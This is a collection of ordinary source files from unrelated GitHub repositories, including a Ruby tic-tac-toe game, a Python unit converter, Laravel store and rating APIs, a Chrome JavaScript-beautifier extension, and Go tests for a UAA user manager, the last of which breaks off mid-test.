bindings: {team: "<"},
templateUrl: "profile/pages/team/profile.html",
controllerAs: "ctrl"
})
class ProfileTeamProfileController {
public team: any;
} | 18819cd4f2c306c66aa556f14100d113e55fe27d | [
"JavaScript",
"TypeScript",
"Markdown"
] | 23 | TypeScript | Itrulia/playProfile | a6f09a50337b5e0fd499eec4f8cfd0de23a3605b | 174583d3c1b57f620defe0133e7553fecde7cfd4 |
refs/heads/master | <repo_name>alianza-dev/cassandra-migration<file_sep>/cassandra-migration/src/test/resources/cassandra/migrationtest/successful/002_add_events_table.cql
--This is a comment
//This is also a comment
CREATE TABLE EVENTS (event_id uuid primary key, event_name varchar);<file_sep>/cassandra-migration-spring-boot-starter/src/test/resources/application.properties
cassandra.migration.keyspace-name=test_keyspace
cassandra.migration.script-location=cassandra/migrationpath
cassandra.migration.strategy=IGNORE_DUPLICATES | 7f5c62a3d87472c83dab583e169a95798bc853ec | [
"SQL",
"INI"
] | 2 | SQL | alianza-dev/cassandra-migration | bfd236ab664e294ddea794c61b8b3ed06604b491 | b0e27adea5e18560289166b4247a787c79728048 |
refs/heads/master | <file_sep>
class TicTacToe
def initialize
@board = [" "," "," "," "," "," "," "," "," "]
end
def display_board
puts " #{@board[0]} | #{@board[1]} | #{@board[2]} "
puts "-----------"
puts " #{@board[3]} | #{@board[4]} | #{@board[5]} "
puts "-----------"
puts " #{@board[6]} | #{@board[7]} | #{@board[8]} "
end
WIN_COMBINATIONS = [
[0,1,2],
[3,4,5],
[6,7,8],
[0,3,6],
[1,4,7],
[2,5,8],
[0,4,8],
[6,4,2]
]
def move(position, character = "X")
@board[position.to_i - 1] = character
end
def position_taken?(position)
!(@board[position.to_i].nil? || @board[position.to_i] == " ")
end
def valid_move?(position)
!position_taken?(position.to_i-1) && (position.to_i).between?(1,9)
end
def turn_count
@board.count do |board_spot|
board_spot == "X" || board_spot == "O"
end
end
def current_player
turn_count.even? ? "X" : "O"
end
def turn
puts "Please enter 1-9:"
position = gets.strip
if !valid_move?(position)
turn
else
move(position, current_player)
display_board
end
end
def won?
WIN_COMBINATIONS.each do |combo_set|
if @board[combo_set[0]] == "X" && @board[combo_set[1]] == "X" && @board[combo_set[2]] == "X"
return combo_set
elsif @board[combo_set[0]] == "O" && @board[combo_set[1]] == "O" && @board[combo_set[2]] == "O"
return combo_set
end
end
false
end
def full?
@board.none?{|board_space| board_space == " " }
end
def draw?
!won? && full?
end
def over?
won? || draw?
end
def winner
if won?
@board[won?[0]]
end
end
def play
until over?
turn
end
if won?
puts "Congratulations #{winner}!"
elsif draw?
puts "Cats Game!"
end
end
end
| 96ef05eeb5c89447ed6a3d0b0e2de2b4f251ecef | [
"Ruby"
] | 1 | Ruby | mjdele/oo-tic-tac-toe-q-000 | 6c086d8e000674ef385728ca81c3ee5648b67b62 | d185c16d8cc6f897547a7cefbbb7a593b2aafdb6 |
refs/heads/master | <file_sep># Unit conversions through graph search
Resolves conversion problems through the generation of a graph of relationships, and then travels through the graph to calculate the conversion factor. It works using explicit units.
It is a collecion of functions to be able to handle explicit units in variables.
# Graph solution finding
The solution is found by performing a BFS search algorithm
<file_sep>def convert_temp(explicit_temp,target_units):
if target_units == 'F':
return str(1.8*c + 32.0) + 'F'
elif target_units == 'C'
return str((f - 32) / 1.8) + 'C'
<file_sep>def make_edge(conversion_graph,labels,values):
if labels[0] in conversion_graph.keys():
conversion_graph[labels[0]][labels[1]] = values[1] / values[0]
else:
conversion_graph[labels[0]] = {labels[1]: values[1] / values[0]}
if labels[1] in conversion_graph.keys():
conversion_graph[labels[1]][labels[0]] = values[0] / values[1]
else:
conversion_graph[labels[1]] = {labels[0]: values[0] / values[1]}
return conversion_graph
def load_conversion_graph(conversion_data):
conversion_graph = {}
for line in conversion_data.splitlines():
labels = []
values = []
for item in line.strip().split():
for t in item.split():
try:
values.append(float(t))
except ValueError:
if t != '=':
labels.append(t)
conversion_graph = make_edge(conversion_graph,labels,values)
return conversion_graph
def bfs(graph, start, end):
queue = []
visited = []
queue.append([start])
while queue:
path = queue.pop(0)
node = path[-1]
if node == end:
return path
for adjacent in graph.get(node, []):
new_path = list(path)
if adjacent not in visited:
visited.append(adjacent)
new_path.append(adjacent)
queue.append(new_path)
print('ERROR: Conversion from',start,'to',end,'is unknown.')
exit()
def calc_conversion_factor(conversion_graph,path):
conversion_factor = 1.0
for i,item in enumerate(path):
conversion_factor = conversion_factor * conversion_graph[path[i]][path[i+1]]
if i == len(path) - 2:
break
return conversion_factor
def strip_units(s):
units = s.strip('1234567890./ ').strip().lower()
amount = s[:len(s) - len(units)].strip()
if '/' in amount:
numerator,denominator = amount.split('/')
amount = float(numerator) / float(denominator)
else:
amount = float(amount)
return amount, units
def explicit_unit_string(amount,units):
if amount != 1.0:
units = units + 's'
if amount.is_integer():
str_amount = str(int(amount))
else:
str_amount = str(amount)
explicit_value = str_amount + ' ' + units
return explicit_value
def convert_units(value_w_explicit_units,target_units,conversion_data):
origin_amount, origin_units = strip_units(value_w_explicit_units)
if target_units[-1] == 's':
target_units = target_units[:len(target_units) -1]
if origin_units[-1] == 's':
origin_units = origin_units[:len(origin_units) -1]
conversion_graph = load_conversion_graph(conversion_data)
bfs_path = bfs(conversion_graph,origin_units,target_units)
conversion_factor = calc_conversion_factor(conversion_graph,bfs_path)
converted_amount = origin_amount * conversion_factor
return explicit_unit_string(converted_amount,target_units)
conversion_data = """1 tsp = 1 teaspoon
3 teaspoon = 1 tablespoon
16 tablespoon = 1 cup
2 cup = 1 pint
2 pint = 1 quart
1 cup = 8 fluid_ounce
32 fluid_ounce = 1 quart
4 quart = 1 gallon
1 day = 24 hour
1 hour = 60 min
1 min = 60 second
2.2 lb = 1 kg
1000 g = 1 kg
"""
if __name__ == "__main__":
origin_values = ['1/64 cups','1 gallon','0.397 lb','1 day']
target_units = ['tablespoons','tsp','g','seconds']
for i,origin_value in enumerate(origin_values):
results = convert_units(origin_value,target_units[i],conversion_data)
sentence = 'are equal to' if origin_value[-1] == 's' else 'is equal to'
print(origin_value,sentence,results)
| 69863a49e1643a57c9a5277b75c60f347cf7e833 | [
"Markdown",
"Python"
] | 3 | Markdown | ccivit/conversions | d593f2e0ff75169c877a7658e72d15c2bfc01609 | af93308d58d940847cc5f6ad8c945f8a8c5bfad0 |
refs/heads/master | <repo_name>WittonIka/R-and-Machine-Learning<file_sep>/Regression_Tree.R
setwd("E:/deep_learing_R")
wine<-read.csv(file = "whitewines.csv")
hist(wine$quality)#检查是否具有极端值
wine_train<-wine[1:3750,]
wine_test<-wine[3751:4898,]
library(rpart)
m_wine<-rpart(quality~.,data = wine_train)
library(rpart.plot)
rpart.plot(m_wine,digits=3)
p_wine<-predict(m_wine,wine_test)
cor(p_wine,wine_test$quality)#预测值和真实值的相关性
MAE<-mean(abs(p_wine - wine_test$quality))#平均绝对误差,查看预测值离真实值有多远
| 868514e0ed00f775df8d209c20bb525e908ec6a0 | [
"R"
] | 1 | R | WittonIka/R-and-Machine-Learning | 383f15b08eaffc07a51c78623c8791cc29d77044 | 51680f9d1c69c1d975a2d213598344cc11ce1e66 |
refs/heads/main | <repo_name>sivarail/tut-app<file_sep>/src/app/app.module.ts
import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import {MatToolbarModule} from '@angular/material/toolbar';
import {MatIconModule} from '@angular/material/icon';
import {MatButtonModule} from '@angular/material/button';
import {MatButtonToggleModule} from '@angular/material/button-toggle';
import {MatSidenavModule} from '@angular/material/sidenav';
import {MatListModule} from '@angular/material/list';
import {FormsModule,ReactiveFormsModule} from '@angular/forms';
// import {MatRippleModule} from '@angular/material/core';
import {MatTableModule} from '@angular/material/table';
import {MatPaginatorModule} from '@angular/material/paginator';
import {MatFormFieldModule} from '@angular/material/form-field';
import {MatInputModule} from '@angular/material/input';
import {MatDialogModule} from '@angular/material/dialog';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
// import {MatPaginator} from '@angular/material/paginator';
// import {MatTableDataSource} from '@angular/material/table';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { TopBarComponent } from './top-bar/top-bar.component';
import { AppDetailsComponent } from './app-details/app-details.component';
import { AppDetailsDialogComponent } from './app-details-dialog/app-details-dialog.component';
@NgModule({
declarations: [
AppComponent,
TopBarComponent,
AppDetailsComponent,
AppDetailsDialogComponent
],
imports: [
BrowserModule,
AppRoutingModule,
MatToolbarModule,
MatButtonModule,
MatButtonToggleModule,
MatIconModule,
MatSidenavModule,
MatListModule,
MatTableModule,
MatPaginatorModule,
MatFormFieldModule,
MatInputModule,
MatDialogModule,
FormsModule,
ReactiveFormsModule,
// MatPaginator,
// MatTableDataSource,
// MatRippleModule,
BrowserAnimationsModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>/src/app/app-details-dialog/app-details-dialog.component.ts
import { Component, OnInit, Inject } from '@angular/core';
import {MAT_DIALOG_DATA} from '@angular/material/dialog';
// import { AppDetailsComponent } from '../app-details/app-details.component';
// import { PeriodicElement } from '../object';
@Component({
selector: 'app-app-details-dialog',
templateUrl: './app-details-dialog.component.html',
styleUrls: ['./app-details-dialog.component.css']
})
export class AppDetailsDialogComponent implements OnInit {
constructor() { }
ngOnInit(): void {
}
// openDialog(): void {
// const dialogRef = this.dialog.open(AppDetailsDialog);
// dialogRef.afterClosed().subscribe(result => {
// console.log(`Dialog result: ${result}`);
// });
// this.dialog.open(AppDetailsDialog);
// }
}
| 7b3cb5b40fd3edf414e3e0673804de7e8fdd29b1 | [
"TypeScript"
] | 2 | TypeScript | sivarail/tut-app | 4d4adf00cc14304046907510d46c9b8774c0c171 | 6aaecbe98dedf4a9f9bd9ad285d51728e038067f |
refs/heads/master | <repo_name>yoshiai5/untitled0<file_sep>/README.md
# untitled0
投稿ができるアプリケーション
## 機能
- ユーザー登録・ログイン機能
- 自己紹介機能
- 投稿機能
- タグ付け機能
- いいね機能
- コメント機能
## 特記事項
今後以下の機能も追加するかも
- 検索機能
- メッセージ機能
- グループトーク機能
- お気に入り機能
- 足あと機能
- 友達・マッチング機能
- コミュニティ機能
# Structure of DataBase
## Usersテーブル
|Column|Type|Options|
|------|----|-------|
|name|string|null: false|
|avatar|text|-gem-|
|email, password|string|-gem-|
### association
```
has_many :posts
has_many :likes
has_many :comments
belongs_to :profile
```
## Profilesテーブル
|Column|Type|Options|
|------|----|-------|
|user|references|null: false, foreign_kye: true|
|nickname|string|null: false|
|age|||
|occupation|||
|detail|||
|etc|||
### association
```
belongs_to :user
```
## Postsテーブル
|Column|Type|Options|
|------|----|-------|
|title|string|null: false|
|content|text|null: false|
|user|references|null: false, foreign_key: true|
|like_count|integer|default: 0|
### association
```
has_many :images
has_many :likes
has_many :comments
belongs_to :user
has_many :tags, through: :post_tags
has_many :post_tags, dependent: :destroy
```
## Imagesテーブル
|Column|Type|Options|
|------|----|-------|
|content|string|-gem-|
|post|references|null: false, foreign_key: true|
### association
```
belongs_to :post, optional: true
```
## Likesテーブル
|Column|Type|Options|
|------|----|-------|
|user|references|null: false, foreign_key: true|
|post|references|null: false, foreign_key: true|
### association
```
belongs_to :user
belongs_to :post
```
## Commentsテーブル
|Column|Type|Options|
|------|----|-------|
|content|text|null: false |
|user|references|null: false, foreign_key: true|
|post|references|null: false, foreign_key: true|
### association
```
belongs_to :user
belongs_to :post
```
## Tagsテーブル
|Column|Type|Options|
|------|----|-------|
|name|string|null: false, index: true, unique: true|
### association
```
has_many :posts, through: :post_tags
has_many :post_tags, dependent: :destroy
```
## PostTagsテーブル
|Column|Type|Options|
|------|----|-------|
|post|references|null: false, foreign_key: true|
|tag|references|null: false, foreign_key: true|
### association
```
belongs_to :post
belongs_to :tag
```
<file_sep>/app/models/post.rb
class Post < ApplicationRecord
has_many :images, dependent: :destroy
belongs_to :user
has_many :tags, through: :post_tags
has_many :post_tags, dependent: :destroy
accepts_nested_attributes_for :images, reject_if: :reject_images
validates :title,
:content,
presence: true
def reject_images(attributed)
attributed['content'].blank?
end
def save_post(savepost_tags)
current_tags = self.tags.pluck(:name) unless self.tags.nil?
# 『.pluck』で配列を作る。作る内容は引数(カラム)に対するバリューを対象として。
# 『.nil?』は存在自体(入れ物)がない場合true、空でも存在していればfalse。
# @user = User.newに対して@user.nil?はfalse、newする前はtrueとなる。
new_tags = savepost_tags - current_tags
old_tags = current_tags - savepost_tags
# 左側の配列内に存在しているもののみが除外される。無ければそのまま。
old_tags.each do |old_name|
self.tags.delete Tag.find_by(name: old_name)
end
# 配列を一つずつ取り出して、テーブル内でカラムで検索をかけて、レコードを削除する。
new_tags.each do |new_name|
if new_name.present?
post_tag = Tag.find_or_create_by(name: new_name)
self.tags << post_tag
end
end
# テーブル内でカラムを検索、または新規作成し、配列でテーブルに返す。
end
end
<file_sep>/app/models/user.rb
class User < ApplicationRecord
# Include default devise modules. Others available are:
# :confirmable, :lockable, :timeoutable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :trackable, :validatable
validates :name, presence: true
has_many :posts
has_one :profile, dependent: :destroy
# 『belongs_to』にしてしまうと、『ActiveModel::MissingAttributeError』『can't write unknown attribute `profile_id`』のエラーが出る
# 1対1でも、参照先にidのカラムを持つテーブルが『belong_to』で記述し、参照されるテーブル側は『has_one』で記述する。(今回の場合、profileテーブルがuser_idカラムを持つ)
accepts_nested_attributes_for :profile
mount_uploader :avatar, UserImageUploader
end
<file_sep>/app/models/image.rb
class Image < ApplicationRecord
belongs_to :post, optional: true
# 『optional: true』はbelongs_toの外部キーのnilを許可するというものです。
mount_uploader :content, PostImageUploader
end
| a3d366c4b395d65b76769b036177501b908485d6 | [
"Markdown",
"Ruby"
] | 4 | Markdown | yoshiai5/untitled0 | 6582f1c4a1f3a94f0f126dc6a7f2b6a6132e2f2d | 59eaae830e5a5fb5ce4d574e6ce02bf58c2f0ac4 |
refs/heads/master | <file_sep>/*jshint browser: true, jquery: true, indent: 2, white: true, curly: true, forin: true, noarg: true, immed: true, newcap: false, noempty: true, nomen: true, eqeqeq: true, undef: true*/
/*globals chrome, js_beautify, localStorage*/
(function () {
if (!location.href.match(/\.js(?:\?|$)/) || document.body.querySelectorAll('*').length !== 1) {
return;
}
chrome.extension.sendRequest({method: "getOptions"}, function(options) {
console.log(options);
var notification = document.createElement('div'),
no = document.createElement('a'),
autoHideInterval,
secondsTillHide = 4,
useClippy = options.useClippy,
formatConfirmElement,
yes;
notification.id = 'jsb4c-' + (useClippy ? 'clippy' : 'bar');
no.id = 'jsb4c-no';
no.appendChild(document.createTextNode('No (' + secondsTillHide + ')'));
if (useClippy) {
yes = document.createElement('a');
yes.id = 'jsb4c-yes';
yes.appendChild(document.createTextNode('Yes'));
notification.style.backgroundImage = 'url(' + chrome.extension.getURL("img/its-clippy-motherfuckers.png") + ')';
notification.appendChild(yes);
formatConfirmElement = yes;
} else {
notification.appendChild(document.createTextNode('This looks like a JavaScript file. Click this bar to format it.'));
no.style.backgroundImage = 'url(' + chrome.extension.getURL("img/close-icon.png") + ')';
formatConfirmElement = notification;
}
notification.appendChild(no);
document.body.appendChild(notification);
no.addEventListener('click', function (event) {
gtfoClippy();
event.preventDefault();
event.stopPropagation();
}, false);
formatConfirmElement.addEventListener('click', function (event) {
var code = document.getElementsByTagName('pre')[0];
console.log(options.jsbeautify);
code.textContent = js_beautify(code.textContent, options.jsbeautify);
gtfoClippy();
event.preventDefault();
event.stopPropagation();
}, false);
function gtfoClippy() {
clearInterval(autoHideInterval);
notification.className = '';
setTimeout(function () {
notification.parentNode.removeChild(notification);
}, 1000);
}
setTimeout(function () {
notification.className = 'jsb4c-visible';
}, 350);
// Auto timer to make clippy go away
autoHideInterval = setInterval(function () {
if (secondsTillHide <= 0) {
gtfoClippy();
clearInterval(autoHideInterval);
} else {
no.innerHTML = no.innerHTML.replace(/\d/, secondsTillHide);
}
secondsTillHide--;
}, 1000);
});
}()); | e543619b8c762c7ed5ec127fa519e30013ef394e | [
"JavaScript"
] | 1 | JavaScript | Braunson/jsbeautify-for-chrome | b1dd8631b63536cde558629ff6ac13a8b177025d | f03da189226ae88498106ccfa482b6048fc54892 |
refs/heads/main | <file_sep>module.exports = {
jwtSecret: process.env.JWT_SECRET || '1be01d50-5ee1-4754-a124-4abb008180bb'
};<file_sep># Strapi Playground
This is bare bones playground with GraphQL Plugin and [Strapi Migrate](https://www.npmjs.com/package/strapi-plugin-migrate) plugin
| 8b17dfef50245889e80c6a87ca8371c9bf5fcf47 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | dirq/strapi-playground | 1ef4bcad1934b587ffadfe1f8c1df39872a6086d | 1c5cca67789b2fdc3aed7e31c78ef09f4d8c274c |
refs/heads/master | <repo_name>loinp58/wabi-BE<file_sep>/app/Http/Controllers/API/RatingsController.php
<?php
namespace App\Http\Controllers\API;
use App\Models\Store;
use App\Models\Rating;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class RatingsController extends Controller
{
public function index($store_id)
{
try {
$store = Store::findOrFail($store_id);
}
catch (\Exception $e) {
return Response()->json([
'status' => false,
'message' => 'Data not found'
], 404);
}
$ratings = $store->ratings;
return response()->json([
'status' => true,
'store_id' => $store_id,
'ratings' => $ratings
], 200);
}
public function store(Request $request, $store_id)
{
try {
$store = Store::findOrFail($store_id);
}
catch (\Exception $e) {
return Response()->json([
'status' => false,
'message' => 'Store not found'
], 404);
}
$rating = Rating::create([
'store_id' => $store_id,
'score' => $request->score,
'comment' => $request->comment
]);
return response()->json([
'status' => true,
'rating' => $rating
], 201);
}
public function likeComment(Request $request, $store_id)
{
if(empty($request->rating_id) || !is_numeric($request->rating_id)) {
return Response()->json([
'status' => false,
'message' => 'Thiếu tham số rating_id hoặc không đúng định dạng.'
]);
}
try {
$store = Store::findOrFail($store_id);
$rating = Rating::findOrFail($request->rating_id);
}
catch (\Exception $e) {
return Response()->json([
'status' => false,
'message' => 'Data not found'
], 404);
}
if ($rating->store_id != $store_id) {
return Response()->json([
'status' => false,
'message' => 'Comment not own store'
]);
}
// dd($rating->like_count);
$rating->like_count++;
$rating->save();
return response()->json([
'status' => true,
'rating' => $rating
], 200);
}
}<file_sep>/app/Models/Store.php
<?php
namespace App\Models;
use DB;
use Datatables;
use Illuminate\Database\Eloquent\Model;
class Store extends Model
{
protected $fillable = ['name'];
public function ratings()
{
return $this->hasMany('App\Models\Rating', 'store_id');
}
/**
* API: Get list stores
* @param $type
* @param $filter
* @param $keyword
* @return \Illuminate\Database\Eloquent\Collection $store
*/
public static function getAllStore($type, $filter, $keyword)
{
$stores = Store::select(
'stores.id', 'stores.name', 'stores.address', 'stores.lat', 'stores.lng',
DB::raw('COUNT(`ratings`.`store_id`) AS `total_comment`'),
DB::raw('SUM(case when(`ratings`.`store_id` = `stores`.`id`) then `ratings`.`score` else 0 end) /
COUNT(`ratings`.`store_id`) AS `ave_rating`'))
->where('type', $type)
->leftJoin('ratings', 'stores.id', '=', 'ratings.store_id')
->groupBy('stores.id');
if ($filter != null) {
$stores->where('stores.'.$filter, 'like', '%'.$keyword.'%');
}
return $stores->get();
}
/**
* API: Get detail store
* @param $id
* @return \Illuminate\Database\Eloquent\Collection $store
*/
public static function getDetail($id)
{
$store = Store::find($id);
$ratings = Rating::where('store_id', $id)->get();
$store->ratings = $ratings;
return $store;
}
public static function getDataTables($request)
{
$stores = static::select('*');
return Datatables::of($stores)
->filter(function ($query) use ($request) {
if ($request->has('id')) {
$query->where('id', $request->get('id'));
}
if ($request->has('phone_number')) {
$query->where('phone_number', 'like', '%' . $request->get('phone_number') . '%');
}
if ($request->has('name')) {
$query->where('name', 'like', '%' . $request->get('name') . '%');
}
if ($request->has('type')) {
$query->where('type', $request->get('type'));
}
})
->editColumn('type', function ($store) {
return config('system.stores.type_name')[$store->type];
})
->addColumn('action', function ($store) {
return
'<a class="table-action-btn" title="Chi tiết cửa hàng" href="#"><i class="fa fa-search text-success"></i></a>';
})
->make(true);
}
}
<file_sep>/app/Http/Controllers/StoresController.php
<?php
namespace App\Http\Controllers;
use App\Models\Store;
use Illuminate\Http\Request;
class StoresController extends Controller
{
public function index()
{
return view('stores.index');
}
public function datatables(Request $request)
{
return Store::getDataTables($request);
}
}
<file_sep>/routes/api.php
<?php
use Illuminate\Http\Request;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/
Route::get('sua-xe', 'StoresController@index');
Route::get('sua-xe/chi-tiet/{id}', 'StoresController@show');
Route::get('stores/{id}/ratings', 'RatingsController@index');
Route::post('stores/{id}/ratings', 'RatingsController@store');
Route::post('stores/{id}/ratings/like', 'RatingsController@likeComment');
<file_sep>/app/Http/Controllers/API/StoresController.php
<?php
namespace App\Http\Controllers\API;
use App\Models\Store;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class StoresController extends Controller
{
public function index(Request $request)
{
try {
$filter = null;
$keyword = '';
$type = 0;
if ($request->has('filter')) {
$filter = $request->filter;
}
if ($request->has('search')) {
$keyword = $request->search;
}
if ($request->has('type')) {
$type = config('system.stores.type')[$request->type];
}
$stores = Store::getAllStore($type, $filter, $keyword);
}
catch (\Exception $e) {
return Response()->json([
'status' => false,
'message' => $e->getMessage()
]);
}
return Response()->json(['status' => true, 'data' => $stores]);
}
public function show($id)
{
try {
$store = Store::getDetail($id);
}
catch (\Exception $e) {
return Response()->json([
'status' => false,
'message' => $e->getMessage()
]);
}
return Response()->json(['status' => true, 'data' => $store]);
}
}
<file_sep>/config/system.php
<?php
/**
* Created by PhpStorm.
* User: <NAME>
* Date: 11/5/2017
* Time: 11:37 PM
*/
return array(
'stores' => [
'type' => [
'sua_xe' => 0,
'do_xe' => 1
],
'type_name' => [
0 => 'Sửa xe',
1 => 'Đỗ xe'
]
]
); | 7ea55a7a26bb5e77bf033fc35cb9c0a05efefe7c | [
"PHP"
] | 6 | PHP | loinp58/wabi-BE | 357bf0489d4bae00a2402f24b058521b8ca5f573 | 6b76720f4f29c643a74f6a143dab6bc78788ac04 |
refs/heads/master | <repo_name>joefitzgerald/uaa-cli<file_sep>/uaa/users_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "code.cloudfoundry.org/uaa-cli/fixtures"
. "code.cloudfoundry.org/uaa-cli/utils"
"encoding/json"
"fmt"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("Users", func() {
var (
um UserManager
uaaServer *ghttp.Server
)
BeforeEach(func() {
uaaServer = ghttp.NewServer()
config := NewConfigWithServerURL(uaaServer.URL())
config.AddContext(NewContextWithToken("access_token"))
um = UserManager{&http.Client{}, config}
})
var userListResponse = fmt.Sprintf(PaginatedResponseTmpl, MarcusUserResponse, DrSeussUserResponse)
Describe("ScimUser Json", func() {
// All this dance is necessary because the --attributes option means I need
// to be able to hide values that aren't sent in the server response. If I
// just used omitempty, I wouldn't be able to distinguish between empty values
// (false, empty string) and ones that were never sent by the server.
Describe("Verified", func() {
It("correctly shows false boolean values", func() {
user := ScimUser{Verified: NewFalseP()}
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{"verified": false}`))
newUser := ScimUser{}
json.Unmarshal([]byte(userBytes), &newUser)
Expect(*newUser.Verified).To(BeFalse())
})
It("correctly shows true values", func() {
user := ScimUser{Verified: NewTrueP()}
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{"verified": true}`))
newUser := ScimUser{}
json.Unmarshal([]byte(userBytes), &newUser)
Expect(*newUser.Verified).To(BeTrue())
})
It("correctly hides unset values", func() {
user := ScimUser{}
json.Unmarshal([]byte("{}"), &user)
Expect(user.Verified).To(BeNil())
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{}`))
})
})
Describe("Active", func() {
It("correctly shows false boolean values", func() {
user := ScimUser{Active: NewFalseP()}
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{"active": false}`))
newUser := ScimUser{}
json.Unmarshal([]byte(userBytes), &newUser)
Expect(*newUser.Active).To(BeFalse())
})
It("correctly shows true values", func() {
user := ScimUser{Active: NewTrueP()}
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{"active": true}`))
newUser := ScimUser{}
json.Unmarshal([]byte(userBytes), &newUser)
Expect(*newUser.Active).To(BeTrue())
})
})
Describe("Emails", func() {
It("correctly shows false boolean values", func() {
user := ScimUser{}
email := ScimUserEmail{"<EMAIL>", NewFalseP()}
user.Emails = []ScimUserEmail{email}
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{"emails": [ { "value": "<EMAIL>", "primary": false } ]}`))
newUser := ScimUser{}
json.Unmarshal([]byte(userBytes), &newUser)
Expect(*newUser.Emails[0].Primary).To(BeFalse())
})
It("correctly shows true values", func() {
user := ScimUser{}
email := ScimUserEmail{"<EMAIL>", NewTrueP()}
user.Emails = []ScimUserEmail{email}
userBytes, _ := json.Marshal(&user)
Expect(string(userBytes)).To(MatchJSON(`{"emails": [ { "value": "<EMAIL>", "primary": true } ]}`))
newUser := ScimUser{}
json.Unmarshal([]byte(userBytes), &newUser)
Expect(*newUser.Emails[0].Primary).To(BeTrue())
})
})
})
Describe("UserManager#Get", func() {
It("gets a user from the UAA by id", func() {
uaaServer.RouteToHandler("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.RespondWith(http.StatusOK, MarcusUserResponse),
))
user, _ := um.Get("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70")
Expect(user.ID).To(Equal("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"))
Expect(user.ExternalId).To(Equal("marcus-user"))
Expect(user.Meta.Created).To(Equal("2017-01-15T16:54:15.677Z"))
Expect(user.Meta.LastModified).To(Equal("2017-08-15T16:54:15.677Z"))
Expect(user.Meta.Version).To(Equal(1))
Expect(user.Username).To(Equal("<EMAIL>"))
Expect(user.Name.GivenName).To(Equal("Marcus"))
Expect(user.Name.FamilyName).To(Equal("Aurelius"))
Expect(*user.Emails[0].Primary).To(Equal(false))
Expect(user.Emails[0].Value).To(Equal("<EMAIL>"))
Expect(user.Groups[0].Display).To(Equal("philosophy.read"))
Expect(user.Groups[0].Type).To(Equal("DIRECT"))
Expect(user.Groups[0].Value).To(Equal("ac2ab20e-0a2d-4b68-82e4-817ee6b258b4"))
Expect(user.Groups[1].Display).To(Equal("philosophy.write"))
Expect(user.Groups[1].Type).To(Equal("DIRECT"))
Expect(user.Groups[1].Value).To(Equal("110b2434-4a30-439b-b5fc-f4cf47fc04f0"))
Expect(user.Approvals[0].UserId).To(Equal("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"))
Expect(user.Approvals[0].ClientId).To(Equal("shinyclient"))
Expect(user.Approvals[0].ExpiresAt).To(Equal("2017-08-15T16:54:25.765Z"))
Expect(user.Approvals[0].LastUpdatedAt).To(Equal("2017-08-15T16:54:15.765Z"))
Expect(user.Approvals[0].Scope).To(Equal("philosophy.read"))
Expect(user.Approvals[0].Status).To(Equal("APPROVED"))
Expect(user.PhoneNumbers[0].Value).To(Equal("5555555555"))
Expect(*user.Active).To(Equal(true))
Expect(*user.Verified).To(Equal(true))
Expect(user.Origin).To(Equal("uaa"))
Expect(user.ZoneId).To(Equal("uaa"))
Expect(user.PasswordLastModified).To(Equal("2017-08-15T16:54:15.000Z"))
Expect(user.PreviousLogonTime).To(Equal(1502816055768))
Expect(user.LastLogonTime).To(Equal(1502816055768))
Expect(user.Schemas[0]).To(Equal("urn:scim:schemas:core:1.0"))
})
It("returns helpful error when /Users/userid request fails", func() {
uaaServer.RouteToHandler("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusInternalServerError, ""),
ghttp.VerifyRequest("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.Get("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns helpful error when /Users/userid response can't be parsed", func() {
uaaServer.RouteToHandler("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7", ghttp.CombineHandlers(
ghttp.RespondWith(http.StatusOK, "{unparsable-json-response}"),
ghttp.VerifyRequest("GET", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
ghttp.VerifyHeaderKV("Authorization", "bearer access_token"),
))
_, err := um.Get("fb5f32e1-5cb3-49e6-93df-6df9c8c8bd7")
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
})
Describe("UserManager#Deactive", func() {
It("deactivates user using userID string", func() {
uaaServer.RouteToHandler("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70", ghttp.CombineHandlers(
ghttp.VerifyRequest("PATCH", "/Users/fb5f32e1-5cb3-49e6-93df-6df9c8c8bd70"),
